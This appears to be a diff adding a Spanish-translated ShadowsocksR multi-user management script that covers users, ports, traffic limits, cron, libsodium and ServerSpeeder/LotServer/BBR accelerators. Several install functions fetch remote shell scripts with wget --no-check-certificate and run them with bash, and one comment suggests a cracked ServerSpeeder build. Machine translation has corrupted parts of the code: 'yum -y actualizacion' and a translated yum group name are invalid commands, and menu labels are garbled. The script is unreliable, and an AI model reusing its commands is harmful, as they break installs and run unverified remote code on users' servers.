"${ssr_port}" + View_User_info + +} +Update_SSR(){ + SSR_installation_status + # echo -e "Debido a que el beb roto actualiza el servidor ShadowsocksR, entonces." + cd ${ssr_folder} + git pull + Restart_SSR + +} +Uninstall_SSR(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1 + echo "Desinstalar ShadowsocksR [y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && unyn="n" + if [[ ${unyn} == [Yy] ]]; then + check_pid + [[ ! -z "${PID}" ]] && kill -9 ${PID} + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + if [[ ! -z ${user_info} ]]; then + for((integer = 1; integer <= ${user_total}; integer++)) + do + port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + Del_iptables + done + fi + if [[ ${release} = "centos" ]]; then + chkconfig --del ssrmu + else + update-rc.d -f ssrmu remove + fi + rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu + echo && echo " Desinstalacion de ShadowsocksR completada!" && echo + else + echo && echo "Desinstalar cancelado ..." && echo + fi + +} +Check_Libsodium_ver(){ + echo -e "${Info} Descargando la ultima version de libsodium" + #Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/') + Libsodiumr_ver=1.0.17 + [[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup} + echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !" +} +Install_Libsodium(){ + if [[ -e ${Libsodiumr_file} ]]; then + echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]" + stty erase '^H' && read -p "(Default: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Nn] ]]; then + echo -e "Cancelado...\n$(msg -bar)" && exit 1 + fi + else + echo -e "${Info} libsodium no instalado, instalacion iniciada ..." + fi + Check_Libsodium_ver + if [[ ${release} == "centos" ]]; then + yum -y actualizacion + echo -e "${Info} La instalacion depende de ..." + yum -y groupinstall "Herramientas de desarrollo" + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf + else + apt-get update + echo -e "${Info} La instalacion depende de ..." + apt-get install -y build-essential + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + fi + ldconfig + cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver} + [[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1 + echo && echo -e "${Info} libsodium exito de instalacion!" && echo +msg -bar +} +#Mostrar informacin de conexin +debian_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n" + echo -e "${user_list_all}" +msg -bar +} +centos_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + echo -e "${user_list_all}" +} +View_user_connection_info(){ +clear + SSR_installation_status + msg -bar + echo -e "Seleccione el formato para mostrar : +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP + + ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info +msg -bar + [[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1" + if [[ ${ssr_connection_info} == "1" ]]; then + View_user_connection_info_1 "" + elif [[ ${ssr_connection_info} == "2" ]]; then + echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs" +msg -bar + View_user_connection_info_1 "IP_address" + else + echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1 + fi +} +View_user_connection_info_1(){ + format=$1 + if [[ ${release} = "centos" ]]; then + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + debian_View_user_connection_info "$format" + else + centos_View_user_connection_info "$format" + fi + else + debian_View_user_connection_info "$format" + fi +} +get_IP_address(){ + #echo "user_IP_1=${user_IP_1}" + if [[ ! -z ${user_IP_1} ]]; then + #echo "user_IP_total=${user_IP_total}" + for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)) + do + IP=`echo "${user_IP_1}" |sed -n "$integer_1"p` + #echo "IP=${IP}" + IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'` + #echo "IP_address=${IP_address}" + user_IP="${user_IP}\n${IP}(${IP_address})" + #echo "user_IP=${user_IP}" + sleep 1s + done + fi +} +#Modificar la configuracin del usuario +Modify_port(){ +msg -bar + List_port_user + while true + do + echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port + [[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',') + if [[ ! -z ${Modify_user} ]]; then + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Modify_Config(){ +clear + SSR_installation_status + echo && echo -e " ###¿Que desea realizar?###Mod By @Kalix1 +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Agregar y Configurar Usuario + ${Green_font_prefix}2.${Font_color_suffix} Eliminar la Configuracion del Usuario +————————— Modificar la Configuracion del Usuario ———— + ${Green_font_prefix}3.${Font_color_suffix} Modificar contrasena de Usuario + ${Green_font_prefix}4.${Font_color_suffix} Modificar el metodo de Cifrado + ${Green_font_prefix}5.${Font_color_suffix} Modificar el Protocolo + ${Green_font_prefix}6.${Font_color_suffix} Modificar Ofuscacion + ${Green_font_prefix}7.${Font_color_suffix} Modificar el Limite de Dispositivos + ${Green_font_prefix}8.${Font_color_suffix} Modificar el Limite de Velocidad de un solo Hilo + ${Green_font_prefix}9.${Font_color_suffix} Modificar limite de Velocidad Total del Usuario + ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario + ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario + ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa +————————— Otras Configuraciones ————————— + ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario +$(msg -bar) + ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Add_port_user + elif [[ ${ssr_modify} == "2" ]]; then + Del_port_user + elif [[ ${ssr_modify} == "3" ]]; then + Modify_port + Set_config_password + Modify_config_password + elif [[ ${ssr_modify} == "4" ]]; then + Modify_port + Set_config_method + Modify_config_method + elif [[ ${ssr_modify} == "5" ]]; then + Modify_port + Set_config_protocol + Modify_config_protocol + elif [[ ${ssr_modify} == "6" ]]; then + Modify_port + Set_config_obfs + Modify_config_obfs + elif [[ ${ssr_modify} == "7" ]]; then + Modify_port + Set_config_protocol_param + Modify_config_protocol_param + elif [[ ${ssr_modify} == "8" ]]; then + Modify_port + Set_config_speed_limit_per_con + Modify_config_speed_limit_per_con + elif [[ ${ssr_modify} == "9" ]]; then + Modify_port + Set_config_speed_limit_per_user + Modify_config_speed_limit_per_user + elif [[ ${ssr_modify} == "10" ]]; then + Modify_port + Set_config_transfer + Modify_config_transfer + elif [[ ${ssr_modify} == "11" ]]; then + Modify_port + Set_config_forbid + Modify_config_forbid + elif [[ ${ssr_modify} == "12" ]]; then + Modify_port + Set_config_all "Modify" + Modify_config_all + elif [[ ${ssr_modify} == "13" ]]; then + Set_user_api_server_pub_addr "Modify" + Modify_user_api_server_pub_addr + else + echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1 + fi + +} +List_port_user(){ + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1 + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g') + Get_User_transfer "${user_port}" + + user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n " + done + echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------" + echo -e ${user_list_all} +} +Add_port_user(){ +clear + lalal=$1 + if [[ "$lalal" == "install" ]]; then + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + else + while true + do + Set_config_all + match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$") + [[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1 + match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]") + [[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1 + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + if [[ -z "${match_add}" ]]; then + echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} " + break + else + Add_iptables + Save_iptables + msg -bar + echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} " + echo + stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn + [[ -z ${addyn} ]] && addyn="y" + if [[ ${addyn} == [Nn] ]]; then + Get_User_info "${ssr_port}" + View_User_info + break + else + echo -e "${Info} Continuar agregando configuracion de usuario ..." + fi + fi + done + fi +} +Del_port_user(){ + + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para ser eliminado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port + msg -bar + [[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + del_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${del_user_port}"',') + if [[ ! -z ${del_user} ]]; then + port=${del_user_port} + match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "delete user ") + if [[ -z "${match_del}" ]]; then + echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + else + Del_iptables + Save_iptables + echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done + msg -bar +} +Manually_Modify_Config(){ +clear +msg -bar + SSR_installation_status + nano ${config_user_mudb_file} + echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z ${yn} ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + Restart_SSR + fi + +} +Clear_transfer(){ +clear +msg -bar + SSR_installation_status + echo -e "Que quieres realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Borrar el trafico de un solo usuario + ${Green_font_prefix}2.${Font_color_suffix} Borrar todo el trafico de usuarios (irreparable) + ${Green_font_prefix}3.${Font_color_suffix} Todo el trafico de usuarios se borra en el inicio + ${Green_font_prefix}4.${Font_color_suffix} Deja de cronometrar todo el trafico de usuarios + ${Green_font_prefix}5.${Font_color_suffix} Modificar la sincronizacion de todo el trafico de usuarios" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Clear_transfer_one + elif [[ ${ssr_modify} == "2" ]]; then +msg -bar + echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Yy] ]]; then + Clear_transfer_all + else + echo "Cancelar ..." + fi + elif [[ ${ssr_modify} == "3" ]]; then + check_crontab + Set_crontab + Clear_transfer_all_cron_start + elif [[ ${ssr_modify} == "4" ]]; then + check_crontab + Clear_transfer_all_cron_stop + elif [[ ${ssr_modify} == "5" ]]; then + check_crontab + Clear_transfer_all_cron_modify + else + echo -e "${Error} Por favor numero de (1-5)" && exit 1 + fi + +} +Clear_transfer_one(){ + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port + [[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${Clear_transfer_user_port}"',') + if [[ ! -z ${Clear_transfer_user} ]]; then + match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +} +Clear_transfer_all(){ +clear + cd "${ssr_folder}" + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + fi + done + echo -e "${Info} Se borra todo el trafico de usuarios!" +} +Clear_transfer_all_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1 + else + echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!" + fi +} +Clear_transfer_all_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1 + else + echo -e "${Info} Timing All Clear Stop Stop Successful!!" + fi +} +Clear_transfer_all_cron_modify(){ + Set_crontab + Clear_transfer_all_cron_stop + Clear_transfer_all_cron_start +} +Set_crontab(){ +clear + + echo -e "Por favor ingrese el intervalo de tiempo de flujo + === Formato === + * * * * * Mes * * * * * + ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1 2} representa el 15 2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado +$(msg -bar) + ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado" +msg -bar + stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time + [[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *" +} +Start_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1 + /etc/init.d/ssrmu start + +} +Stop_SSR(){ +clear + SSR_installation_status + check_pid + [[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1 + /etc/init.d/ssrmu stop + +} +Restart_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop + /etc/init.d/ssrmu start + +} +View_Log(){ + SSR_installation_status + [[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1 + echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo + tail -f ${ssr_log_file} + +} +#Afilado +Configure_Server_Speeder(){ +clear +msg -bar + echo && echo -e "Que vas a hacer +${BARRA1} + ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda +———————— + ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Estado agudo + $(msg -bar) + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num + [[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${server_speeder_num} == "1" ]]; then + Install_ServerSpeeder + elif [[ ${server_speeder_num} == "2" ]]; then + Server_Speeder_installation_status + Uninstall_ServerSpeeder + elif [[ ${server_speeder_num} == "3" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} start + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "4" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} stop + elif [[ ${server_speeder_num} == "5" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} restart + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "6" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_ServerSpeeder(){ + [[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1 + #Prestamo de la version feliz de 91yun.rog + wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh + [[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1 + bash /tmp/serverspeeder.sh + sleep 2s + PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + rm -rf /tmp/serverspeeder.sh + rm -rf /tmp/91yunserverspeeder + rm -rf /tmp/91yunserverspeeder.tar.gz + echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1 + fi +} +Uninstall_ServerSpeeder(){ +clear +msg -bar + echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + chattr -i /serverspeeder/etc/apx* + /serverspeeder/bin/serverSpeeder.sh uninstall -f + echo && echo "Server Speeder Desinstalacion completa!" && echo + fi +} +# LotServer +Configure_LotServer(){ +clear +msg -bar + echo && echo -e "Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer +———————— + ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer +${BARRA1} + + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + + stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num + [[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${lotserver_num} == "1" ]]; then + Install_LotServer + elif [[ ${lotserver_num} == "2" ]]; then + LotServer_installation_status + Uninstall_LotServer + elif [[ ${lotserver_num} == "3" ]]; then + LotServer_installation_status + ${LotServer_file} start + ${LotServer_file} status + elif [[ ${lotserver_num} == "4" ]]; then + LotServer_installation_status + ${LotServer_file} stop + elif [[ ${lotserver_num} == "5" ]]; then + LotServer_installation_status + ${LotServer_file} restart + ${LotServer_file} status + elif [[ ${lotserver_num} == "6" ]]; then + LotServer_installation_status + ${LotServer_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_LotServer(){ + [[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1 + #Github: https://github.com/0oVicero0/serverSpeeder_Install + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" + [[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1 + bash /tmp/appex.sh 'install' + sleep 2s + PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1 + fi +} +Uninstall_LotServer(){ +clear +msg -bar + echo "Desinstalar Para desinstalar LotServer[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall' + echo && echo "La desinstalacion de LotServer esta completa!" && echo + fi +} +# BBR +Configure_BBR(){ +clear +msg -bar + echo -e " Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR +———————— +${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR +${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR +${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR" +msg -bar +echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix} +$(msg -bar) +1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar) +2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos. +3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num +msg -bar + [[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${bbr_num} == "1" ]]; then + Install_BBR + elif [[ ${bbr_num} == "2" ]]; then + Start_BBR + elif [[ ${bbr_num} == "3" ]]; then + Stop_BBR + elif [[ ${bbr_num} == "4" ]]; then + Status_BBR + else + echo -e "${Error} Por favor numero(1-4)" && exit 1 + fi +} +Install_BBR(){ + [[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1 + BBR_installation_status + bash "${BBR_file}" +} +Start_BBR(){ + BBR_installation_status + bash "${BBR_file}" start +} +Stop_BBR(){ + BBR_installation_status + bash "${BBR_file}" stop +} +Status_BBR(){ + BBR_installation_status + bash "${BBR_file}" status +} +BackUP_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")" +msg -bar +msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP" +msg -bar +rm -rf /root/mudb.json > /dev/null 2>&1 +cp /usr/local/shadowsocksr/mudb.json /root/mudb.json > /dev/null 2>&1 +msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")" +echo -e "\033[1;31mBACKUP > 